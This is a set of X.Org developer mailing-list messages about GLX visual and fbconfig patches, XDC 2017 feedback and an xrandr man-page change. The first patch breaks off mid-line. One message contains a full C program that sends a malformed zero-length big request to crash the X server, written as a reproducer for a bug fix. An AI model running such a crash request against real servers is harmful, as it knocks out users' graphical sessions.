[PATCH] glx: Duplicate relevant fbconfigs for compositing visuals
Previously, before GLX_OML_swap_method was fixed, both the X server and
client ignored the swapMethod fbconfig value, which meant that, if the dri
driver thought it exposed more than one swapMethod, it actually just
exported a duplicated set of fbconfigs. When fixing GLX_OML_swap_method
and restricting the choice for built-in visuals to a single swap method
that meant we didn't have that many fbconfigs to choose from when pairing
the compositing visual with an fbconfig, resulting in the fbconfig paired
with the compositing visual becoming too restrictive for some applications,
(at least for kwin). This problem would also happen if the dri driver
only exposed a single swap method to begin with.
So, to make sure the compositing visual gets a good enough fbconfig,
duplicate fbconfigs that are suitable for compositing visuals and make
sure these duplicated fbconfigs can be used only by compositing visuals.
For duplicated fbconfigs not paired with a compositing visual, construct
new compositing visuals, making compositing clients able to choose visuals
/ fbconfig more adapted to their needs.
This is in some sense equivalent to adding a new "TRUECOLOR_COMPOSITING"
GLX visualtype.
Fixes: 4486d199bd3b ("glx: Fix visual fbconfig matching with respect to
swap method")
Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=102806
Signed-off-by: Thomas Hellstrom
Tested-By: Nick Sarnie
---
glx/glxdricommon.c | 45 +
glx/glxscreens.c | 18 --
glx/glxscreens.h | 4
3 files changed, 61 insertions(+), 6 deletions(-)
diff --git a/glx/glxdricommon.c b/glx/glxdricommon.c
index 96f28d0..1879bfc 100644
--- a/glx/glxdricommon.c
+++ b/glx/glxdricommon.c
@@ -116,13 +116,15 @@ render_type_is_pbuffer_only(unsigned renderType)
static __GLXconfig *
createModeFromConfig(const __DRIcoreExtension * core,
const __DRIconfig * driConfig,
- unsigned int visualType)
+ unsigned int visualType,
+ GLboolean duplicateForComp)
{
__GLXDRIconfig *config;
GLint renderType = 0;
unsigned int attrib, value, drawableType = GLX_PBUFFER_BIT;
int i;
+
config = calloc(1, sizeof *config);
config->driConfig = driConfig;
@@ -180,6 +182,28 @@ createModeFromConfig(const __DRIcoreExtension * core,
config->config.drawableType = drawableType;
config->config.yInverted = GL_TRUE;
+#ifdef COMPOSITE
+/*
+ * Here we decide what fbconfigs will be duplicated for compositing.
+ * fgbconfigs marked with duplicatedForConf will be reserved for
+ * compositing visuals.
+ * It might look strange to do this decision this late when translation
+ * from a __DRIConfig is already done, but using the __DRIConfig
+ * accessor function becomes worse both with respect to code complexity
+ * and CPU usage.
+ */
+if (duplicateForComp &&
+(render_type_is_pbuffer_only(renderType) ||
+ config->config.rgbBits != 32 ||
+ config->config.visualRating != GLX_NONE ||
+ config->config.sampleBuffers != 0)) {
+free(config);
+return NULL;
+}
+
+config->config.duplicatedForComp = duplicateForComp;
+#endif
+
return &config->config;
}
@@ -194,21 +218,34 @@ glxConvertConfigs(const __DRIcoreExtension * core,
head.next = NULL;
for (i = 0; configs[i]; i++) {
-tail->next = createModeFromConfig(core, configs[i], GLX_TRUE_COLOR);
+tail->next = createModeFromConfig(core, configs[i], GLX_TRUE_COLOR,
+ GL_FALSE);
if (tail->next == NULL)
break;
-
tail = tail->next;
}
for (i = 0; configs[i]; i++) {
-tail->next = createModeFromConfig(core, configs[i], GLX_DIRECT_COLOR);
+tail->next = createModeFromConfig(core, configs[i], GLX_DIRECT_COLOR,
+ GL_FALSE);
if (tail->next == NULL)
break;
tail = tail->next;
}
+#ifdef COMPOSITE
+/* Duplicate fbconfigs for use with compositing visuals */
+for (i = 0; configs[i]; i++) {
+tail->next = createModeFromConfig(core, configs[i], GLX_TRUE_COLOR,
+ GL_TRUE);
+if (tail->next == NULL)
+continue;
+
+ tail = tail->next;
+}
+#endif
+
return head.next;
}
diff --git a/glx/glxscreens.c b/glx/glxscreens.c
index f000e56..99bf6dd 100644
--- a/glx/glxscreens.c
+++ b/glx/glxscreens.c
@@ -274,7 +274,12 @@ pickFBConfig(__GLXscreen * pGlxScreen, VisualPtr visual)
/* Can't use the same FBconfig for multiple X visuals. I think. */
if (config->visualID != 0)
continue;
-
+#ifdef COMPOSITE
+ /* Use only duplicated configs for compIsAlternateVisuals */
+if (!!compIsAlternateVisual(pGlxScreen->pScreen, visual->vid) !=
+ !!confi
Re: [RFC PATCH] glx: Try to reduce the number of GLX visuals
On 09/26/2017 05:35 PM, Thomas Hellstrom wrote:
Don't create GLX visuals that would be viewed as identical as an already
existing GLX visual by glXChooseVisual. Multiple fbconfigs may point to
the same GLX visual.
Signed-off-by: Thomas Hellstrom
---
glx/glxscreens.c | 67 +++-
1 file changed, 66 insertions(+), 1 deletion(-)
diff --git a/glx/glxscreens.c b/glx/glxscreens.c
index 99bf6dd..f07850d 100644
--- a/glx/glxscreens.c
+++ b/glx/glxscreens.c
@@ -158,6 +158,55 @@ static const char GLServerExtensions[] =
"GL_SGIX_shadow_ambient "
"GL_SUN_slice_accum ";
+/**
+ * Are visuals equal in terms of glXChooseVisual?
+ *
+ * Some fields of the __GLXconfig structure are, according to the
+ * GLX spec not part of the visual structure meaning that their
+ * corresponding attribute can not be used in glXChooseVisual, nor
+ * using glXGetConfig. Eliminating those fields, check whether
+ * two __GLXconfigs would be considered equal.
+ */
+static Bool
+glxVisualsEqual(const __GLXconfig *c1, const __GLXconfig *c2) {
+/* GLX 1.4 spec */
+return c1->rgbBits == c2->rgbBits &&
+ c1->indexBits == c2->indexBits &&
+ c1->level == c2->level &&
+ (c1->renderType & GLX_RGBA_BIT) ==
+ (c2->renderType & GLX_RGBA_BIT) &&
+ c1->doubleBufferMode == c2->doubleBufferMode &&
+ c1->stereoMode == c2->stereoMode &&
+ c1->numAuxBuffers == c2->numAuxBuffers &&
+ c1->redBits == c2->redBits &&
+ c1->greenBits == c2->greenBits &&
+ c1->blueBits == c2->blueBits &&
+ c1->alphaBits == c2->alphaBits &&
+ c1->depthBits == c2->depthBits &&
+ c1->stencilBits == c2->stencilBits &&
+ c1->accumRedBits == c2->accumRedBits &&
+ c1->accumGreenBits == c2->accumGreenBits &&
+ c1->accumBlueBits == c2->accumBlueBits &&
+ c1->accumAlphaBits == c2->accumAlphaBits &&
+ c1->sampleBuffers == c2->sampleBuffers &&
+ c1->samples == c2->samples &&
+ c1->visualType == c2->visualType &&
+ /* EXT_visual_rating, but NOT GLX 1.4 */
+ c1->visualRating == c2->visualRating &&
+ /* EXT_visual_info, but NOT GLX 1.4 */
+ c1->transparentPixel == c2->transparentPixel &&
+ c1->transparentRed == c2->transparentRed &&
+ c1->transparentGreen == c2->transparentGreen &&
+ c1->transparentBlue == c2->transparentBlue &&
+ c1->transparentAlpha == c2->transparentAlpha &&
+ c1->transparentIndex == c2->transparentIndex &&
+ /* SGIX_visual_select_group */
+ c1->visualSelectGroup == c2->visualSelectGroup &&
+ /* ARB_framebuffer_sRGB */
+ c1->sRGBCapable == c2->sRGBCapable;
Actually, if reducing visuals like this appears to be a good thing, we
should probably also check the value of
the "duplicatedForComp" field.
/Thomas
+}
+
+
static Bool
glxCloseScreen(ScreenPtr pScreen)
{
@@ -358,9 +407,10 @@ __glXScreenInit(__GLXscreen * pGlxScreen, ScreenPtr
pScreen)
* an existing, appropriate visual.
*/
for (config = pGlxScreen->fbconfigs; config != NULL; config =
config->next) {
-int depth;
+int depth, vis;
VisualPtr visual;
+const __GLXconfig *config2;
if (config->visualID != 0)
continue;
@@ -393,6 +443,21 @@ __glXScreenInit(__GLXscreen * pGlxScreen, ScreenPtr
pScreen)
continue;
}
+/* We don't need to create a new visual if we already have an
+ * identical visual. Instead we will have multiple fbconfigs
+ * pointing to the same GLX visual.
+ */
+for (vis = 0; vis < pGlxScreen->numVisuals; ++vis) {
+config2 = pGlxScreen->visuals[vis];
+if (glxVisualsEqual(config, config2)) {
+config->visualID = config2->visualID;
+break;
+}
+}
+
+if (config->visualID != 0)
+continue;
+
/* Create a new X visual for our FBconfig. */
visual = AddScreenVisuals(pScreen, 1, depth);
if (visual == NULL)
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel
[RFC PATCH] glx: Try to reduce the number of GLX visuals
Don't create GLX visuals that would be viewed as identical as an already
existing GLX visual by glXChooseVisual. Multiple fbconfigs may point to
the same GLX visual.
Signed-off-by: Thomas Hellstrom
---
glx/glxscreens.c | 67 +++-
1 file changed, 66 insertions(+), 1 deletion(-)
diff --git a/glx/glxscreens.c b/glx/glxscreens.c
index 99bf6dd..f07850d 100644
--- a/glx/glxscreens.c
+++ b/glx/glxscreens.c
@@ -158,6 +158,55 @@ static const char GLServerExtensions[] =
"GL_SGIX_shadow_ambient "
"GL_SUN_slice_accum ";
+/**
+ * Are visuals equal in terms of glXChooseVisual?
+ *
+ * Some fields of the __GLXconfig structure are, according to the
+ * GLX spec not part of the visual structure meaning that their
+ * corresponding attribute can not be used in glXChooseVisual, nor
+ * using glXGetConfig. Eliminating those fields, check whether
+ * two __GLXconfigs would be considered equal.
+ */
+static Bool
+glxVisualsEqual(const __GLXconfig *c1, const __GLXconfig *c2) {
+/* GLX 1.4 spec */
+return c1->rgbBits == c2->rgbBits &&
+ c1->indexBits == c2->indexBits &&
+ c1->level == c2->level &&
+ (c1->renderType & GLX_RGBA_BIT) ==
+ (c2->renderType & GLX_RGBA_BIT) &&
+ c1->doubleBufferMode == c2->doubleBufferMode &&
+ c1->stereoMode == c2->stereoMode &&
+ c1->numAuxBuffers == c2->numAuxBuffers &&
+ c1->redBits == c2->redBits &&
+ c1->greenBits == c2->greenBits &&
+ c1->blueBits == c2->blueBits &&
+ c1->alphaBits == c2->alphaBits &&
+ c1->depthBits == c2->depthBits &&
+ c1->stencilBits == c2->stencilBits &&
+ c1->accumRedBits == c2->accumRedBits &&
+ c1->accumGreenBits == c2->accumGreenBits &&
+ c1->accumBlueBits == c2->accumBlueBits &&
+ c1->accumAlphaBits == c2->accumAlphaBits &&
+ c1->sampleBuffers == c2->sampleBuffers &&
+ c1->samples == c2->samples &&
+ c1->visualType == c2->visualType &&
+ /* EXT_visual_rating, but NOT GLX 1.4 */
+ c1->visualRating == c2->visualRating &&
+ /* EXT_visual_info, but NOT GLX 1.4 */
+ c1->transparentPixel == c2->transparentPixel &&
+ c1->transparentRed == c2->transparentRed &&
+ c1->transparentGreen == c2->transparentGreen &&
+ c1->transparentBlue == c2->transparentBlue &&
+ c1->transparentAlpha == c2->transparentAlpha &&
+ c1->transparentIndex == c2->transparentIndex &&
+ /* SGIX_visual_select_group */
+ c1->visualSelectGroup == c2->visualSelectGroup &&
+ /* ARB_framebuffer_sRGB */
+ c1->sRGBCapable == c2->sRGBCapable;
+}
+
+
static Bool
glxCloseScreen(ScreenPtr pScreen)
{
@@ -358,9 +407,10 @@ __glXScreenInit(__GLXscreen * pGlxScreen, ScreenPtr
pScreen)
* an existing, appropriate visual.
*/
for (config = pGlxScreen->fbconfigs; config != NULL; config =
config->next) {
-int depth;
+int depth, vis;
VisualPtr visual;
+const __GLXconfig *config2;
if (config->visualID != 0)
continue;
@@ -393,6 +443,21 @@ __glXScreenInit(__GLXscreen * pGlxScreen, ScreenPtr
pScreen)
continue;
}
+/* We don't need to create a new visual if we already have an
+ * identical visual. Instead we will have multiple fbconfigs
+ * pointing to the same GLX visual.
+ */
+for (vis = 0; vis < pGlxScreen->numVisuals; ++vis) {
+config2 = pGlxScreen->visuals[vis];
+if (glxVisualsEqual(config, config2)) {
+config->visualID = config2->visualID;
+break;
+}
+}
+
+if (config->visualID != 0)
+continue;
+
/* Create a new X visual for our FBconfig. */
visual = AddScreenVisuals(pScreen, 1, depth);
if (visual == NULL)
--
2.9.5
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: [PATCH xserver] modesetting: Skip no-longer-present connectors when resetting BAD links
On Mon, 2017-09-25 at 16:18 -0700, Keith Packard wrote: > Outputs may have NULL mode_output (connector) pointers if the > connector disappears while the server is running. Skip these when > resetting outputs with BAD link status. > > Signed-off-by: Keith Packard Clearly no worse than before. Merged, thanks: remote: I: patch #178820 updated using rev 37f4e7651a2fd51efa613a08a1e705553be33e76. remote: I: 1 patch(es) updated to state Accepted. To ssh://git.freedesktop.org/git/xorg/xserver 147b4602f..37f4e7651 master -> master - ajax ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: XDC 2017 feedback
Hi, A small piece of feedback from those of us watching remotely. It would be nice to have a simple to access index for the long livestream videos. I think the XDC 2017 wiki page would be a good place for this information. A brief example: Presentation Title | Presenter Name | Link with timestamp ---||- ...| ...| youtu.be/video-id?t=XhYmZs Or alternatively, a list of hyperlinks with the presentation title as text that point to the correct timestamp in the video would also be sufficient. Really enjoyed the talks, and would like them to be slightly easier to access and share with others. Regards, Andres On 2017-09-26 12:57 PM, Daniel Vetter wrote: Hi all, First again big thanks to Stéphane and Jennifer for organizing a great XDC. Like last year we'd like to hear feedback on how this year's XDC went, both the good (and what you'd like to see more of) and the not so good. Talk selection, organization, location, scheduling of talks, anything really. Here's a few things we took into account from Helsinki and tried to apply: - More breaks for more hallway track. - Try to schedule the hot topics on the first day (did we pick the right ones) for better hallway track. - More lightning talk time to give all the late/rejected submissions some place to give a quick showcase. Things that didn't work out perfectly this year and that we'll try to get better at next year: - Lots of people missed the submission deadline and their talks were rejected only because of that. We'll do better PR by sending out a pile of reminders. - Comparitively few people asked for travel assistance. No idea whether this was a year with more budget around, or whether this isn't all that well know and we need to make more PR in maybe the call for papers about it. But that's just the stuff we've gathered already, we'd like to hear more feedback. Just reply to this mail or send a mail to bo...@foundation.x.org if you don't want the entire world to read it. And if you want to send at pseudonymous feedback, drop a pastebin onto the #xf-bod channel on the OFTC irc server. Thanks, Daniel ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: XDC 2017 feedback
Hi, XDC was a really great conference and loved the fact that it was in just one room which kept all the hallway conversations in that room resulting into more networking. But I agree with Andres that for the videos, it would be great to split the huge youtube video stream per presentation and have seperate links for each talk somewhere on the XDC page. Regards Manasi On Tue, Sep 26, 2017 at 01:25:15PM -0400, Andres Rodriguez wrote: > Hi, > > A small piece of feedback from those of us watching remotely. It would be > nice to have a simple to access index for the long livestream videos. > > I think the XDC 2017 wiki page would be a good place for this information. A > brief example: > > Presentation Title | Presenter Name | Link with timestamp > ---||- > ...| ...| youtu.be/video-id?t=XhYmZs > > Or alternatively, a list of hyperlinks with the presentation title as text > that point to the correct timestamp in the video would also be sufficient. > > Really enjoyed the talks, and would like them to be slightly easier to > access and share with others. > > Regards, > Andres > > > On 2017-09-26 12:57 PM, Daniel Vetter wrote: > >Hi all, > > > >First again big thanks to Stéphane and Jennifer for organizing a great XDC. > > > >Like last year we'd like to hear feedback on how this year's XDC went, > >both the good (and what you'd like to see more of) and the not so > >good. Talk selection, organization, location, scheduling of talks, > >anything really. > > > >Here's a few things we took into account from Helsinki and tried to apply: > >- More breaks for more hallway track. > >- Try to schedule the hot topics on the first day (did we pick the > >right ones) for better hallway track. > >- More lightning talk time to give all the late/rejected submissions > >some place to give a quick showcase. > > > >Things that didn't work out perfectly this year and that we'll try to > >get better at next year: > >- Lots of people missed the submission deadline and their talks were > >rejected only because of that. We'll do better PR by sending out a > >pile of reminders. > >- Comparitively few people asked for travel assistance. No idea > >whether this was a year with more budget around, or whether this isn't > >all that well know and we need to make more PR in maybe the call for > >papers about it. > > > >But that's just the stuff we've gathered already, we'd like to hear > >more feedback. Just reply to this mail or send a mail to > >bo...@foundation.x.org if you don't want the entire world to read it. > >And if you want to send at pseudonymous feedback, drop a pastebin onto > >the #xf-bod channel on the OFTC irc server. > > > >Thanks, Daniel > > > ___ > dri-devel mailing list > dri-de...@lists.freedesktop.org > https://lists.freedesktop.org/mailman/listinfo/dri-devel ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
XDC 2017 feedback
Hi all, First again big thanks to Stéphane and Jennifer for organizing a great XDC. Like last year we'd like to hear feedback on how this year's XDC went, both the good (and what you'd like to see more of) and the not so good. Talk selection, organization, location, scheduling of talks, anything really. Here's a few things we took into account from Helsinki and tried to apply: - More breaks for more hallway track. - Try to schedule the hot topics on the first day (did we pick the right ones) for better hallway track. - More lightning talk time to give all the late/rejected submissions some place to give a quick showcase. Things that didn't work out perfectly this year and that we'll try to get better at next year: - Lots of people missed the submission deadline and their talks were rejected only because of that. We'll do better PR by sending out a pile of reminders. - Comparitively few people asked for travel assistance. No idea whether this was a year with more budget around, or whether this isn't all that well know and we need to make more PR in maybe the call for papers about it. But that's just the stuff we've gathered already, we'd like to hear more feedback. Just reply to this mail or send a mail to bo...@foundation.x.org if you don't want the entire world to read it. And if you want to send at pseudonymous feedback, drop a pastebin onto the #xf-bod channel on the OFTC irc server. Thanks, Daniel -- Daniel Vetter Software Engineer, Intel Corporation +41 (0) 79 365 57 48 - http://blog.ffwll.ch ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: [PATCH xserver 2/2] glx: Fix visual fbconfig matching with respect to swap method
Hi, Fredrik, On 09/26/2017 11:53 AM, Fredrik Höglund wrote: On Wednesday 06 September 2017, Thomas Hellstrom wrote: For the built in visuals, we'd typically select the "best" fbconfig without considering the swap method. If the client then requests a specific swap method, say GLX_SWAP_COPY_OML, it may well happen that the first fbconfig matching requirements would have been paired with the 32-bit compositing visual, and the client would render a potentially transparent window. Hi Thomas, Unfortunately this patch breaks GL applications that actually want the ARGB visual. They now end up using a visual that does not have an alpha channel. In addition, it breaks compositing of ARGB windows, at least in kwin. Fredrik Yeah, this path, while IMO correct, uncover existing bug(s). (which are possible to trigger by other means as well), There is a bug for this, (fdo #102806). I have a fix in the making. Needs some cleanup, though. /Thomas ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: [PATCH xserver 2/2] glx: Fix visual fbconfig matching with respect to swap method
On Wednesday 06 September 2017, Thomas Hellstrom wrote: > For the built in visuals, we'd typically select the "best" fbconfig > without considering the swap method. If the client then requests a > specific swap method, say GLX_SWAP_COPY_OML, it may well happen that the > first fbconfig matching requirements would have been paired with the 32-bit > compositing visual, and the client would render a potentially transparent > window. Hi Thomas, Unfortunately this patch breaks GL applications that actually want the ARGB visual. They now end up using a visual that does not have an alpha channel. In addition, it breaks compositing of ARGB windows, at least in kwin. Fredrik ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: [PATCH] os: Make sure big requests have sufficient length.
On pondělí 25. září 2017 12:55:47 CEST Eric Anholt wrote:
> Michal Srb writes:
> > I think if you supply valid Drawable and GC, you should get crash even
> > with little endian.
>
> I tried creating a gc against the root window and doing the drawing
> there, but the request seems to process successfully. bigreq branch
> updated with that code.
Ok, looks like PolyLine does not crash because the `int npoint` inside
ProcPolyLine becomes negative and so it doesn't actually call the rendering
function. So PolyLine can not be used to crash X server if the client has same
endianity.
You can use PolyRectangle instead. The attached program crashes my X server
reliably.
Michal Srb/*
* Copyright © 2017 Broadcom
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and associated documentation files (the "Software"),
* to deal in the Software without restriction, including without limitation
* the rights to use, copy, modify, merge, publish, distribute, sublicense,
* and/or sell copies of the Software, and to permit persons to whom the
* Software is furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice (including the next
* paragraph) shall be included in all copies or substantial portions of the
* Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
* THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
* IN THE SOFTWARE.
*/
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
// Open connection
xcb_connection_t *c = xcb_connect(0, 0);
// Create window
xcb_screen_t *screen = xcb_setup_roots_iterator(xcb_get_setup(c)).data;
xcb_window_t win = xcb_generate_id(c);
xcb_void_cookie_t create_window_cookie = xcb_create_window_checked(
c, XCB_COPY_FROM_PARENT, win, screen->root,
0, 0, 100, 100, 0,
XCB_WINDOW_CLASS_INPUT_OUTPUT, screen->root_visual, 0, 0);
xcb_map_window(c, win);
// Create GC
xcb_gcontext_t gc = xcb_generate_id(c);
xcb_void_cookie_t create_gc_cookie = xcb_create_gc(c, gc, win, 0, 0);
// Make sure big requests are enabled
xcb_big_requests_enable_cookie_t big_request_enable_cookie = xcb_big_requests_enable(c);
xcb_big_requests_enable_reply_t* big_request_enable_reply = xcb_big_requests_enable_reply(c, big_request_enable_cookie, 0);
free(big_request_enable_reply);
xcb_flush(c);
int fd = xcb_get_file_descriptor(c);
struct {
uint8_t reqtype;
uint8_t coordmode;
uint16_t length;
uint32_t length_bigreq;
uint32_t drawable;
uint32_t gc;
} polyrectangle_req = {
.reqtype = XCB_POLY_RECTANGLE,
/* This is the value that triggers the bug. */
.length_bigreq = 0,
.drawable = win,
.gc = gc
};
/* Manually write out the bad request. XCB can't help us here.*/
write(fd, &polyrectangle_req, sizeof(polyrectangle_req));
/* Block until the server has processed our mess. If the server
* crashes, the simple-xinit will return failure.
*/
struct pollfd pfd = {
.fd = fd,
.events = POLLIN,
};
poll(&pfd, 1, -1);
return 0;
}
___
xorg-devel@lists.x.org: X.Org development
Archives: http://lists.x.org/archives/xorg-devel
Info: https://lists.x.org/mailman/listinfo/xorg-devel
Re: [PATCH v2 app/xrandr] Document that --dpi and --fbmm options set DPI of whole X screen
Hi! I would like to remind this patch. On Friday 18 August 2017 19:15:25 Pali Rohár wrote: > PING xorg-devel list. > > Is something older needed to rework? If not, can you apply this patch? > > On Monday 07 August 2017 18:45:22 walter harms wrote: > > Sorry, i had the idea you already got my ack. > > > > Reviewed-by: Walter Harms wha...@bfs.de > > > > Am 07.08.2017 12:56, schrieb Pali Rohár: > > > walter, any other objections? I fixed problematic parts which you pointed. > > > > > > On Monday 24 July 2017 20:34:39 Pali Rohár wrote: > > >> Explicitly document and make it clear that those options do not change > > >> DPI of some monitor output. Also state that these options have no useful > > >> meaning for multi-monitor configuration. > > >> > > >> Signed-off-by: Pali Rohár > > >> --- > > >> man/xrandr.man | 14 ++ > > >> 1 file changed, 10 insertions(+), 4 deletions(-) > > >> > > >> diff --git a/man/xrandr.man b/man/xrandr.man > > >> index 65ccc2a..a5476d4 100644 > > >> --- a/man/xrandr.man > > >> +++ b/man/xrandr.man > > >> @@ -232,14 +232,20 @@ fit within this size. When this option is not > > >> provided, xrandr computes the > > >> smallest screen size that will hold the set of configured outputs; this > > >> option provides a way to override that behaviour. > > >> .IP "\-\-fbmm \fIwidth\fPx\fIheight\fP" > > >> -Sets the reported values for the physical size of the screen. Normally, > > >> +Sets the reported values for the physical size of the whole X screen > > >> (not particular > > >> +output!) which consists of all configured monitors. Physical size of > > >> the X screen does > > >> +not have any meaning when monitors with different DPI are configured. > > >> Normally, > > >> xrandr resets the reported physical size values to keep the DPI > > >> constant. > > >> -This overrides that computation. > > >> +This overrides that computation. This option should be calculated from > > >> DPI > > >> +value 96 as it not have any useful meaning for multi-monitor > > >> configuration. > > >> .IP "\-\-dpi \fIdpi\fP" > > >> .IP "\-\-dpi \fIfrom-output\fP" > > >> -This also sets the reported physical size values of the screen, it uses > > >> either > > >> +This also sets the reported physical size values of the whole X screen > > >> (not particular > > >> +output!) which consists of all configured monitors. Physical size of > > >> the X screen does not > > >> +have any meaning when monitors with different DPI are configured. This > > >> option uses either > > >> the specified DPI value, or the DPI of the given output, to compute an > > >> appropriate > > >> -physical size using whatever pixel size will be set. > > >> +physical size using whatever pixel size will be set (default 96 DPI). > > >> It does not > > >> +have any useful meaning for multi-monitor configuration. > > >> .IP "\-\-newmode \fIname\fP \fImode\fP" > > >> New modelines can be added to the server and then associated with > > >> outputs. > > >> This option does the former. The \fImode\fP is specified using the > > >> ModeLine > > > > -- Pali Rohár pali.ro...@gmail.com ___ xorg-devel@lists.x.org: X.Org development Archives: http://lists.x.org/archives/xorg-devel Info: https://lists.x.org/mailman/listinfo/xorg-devel
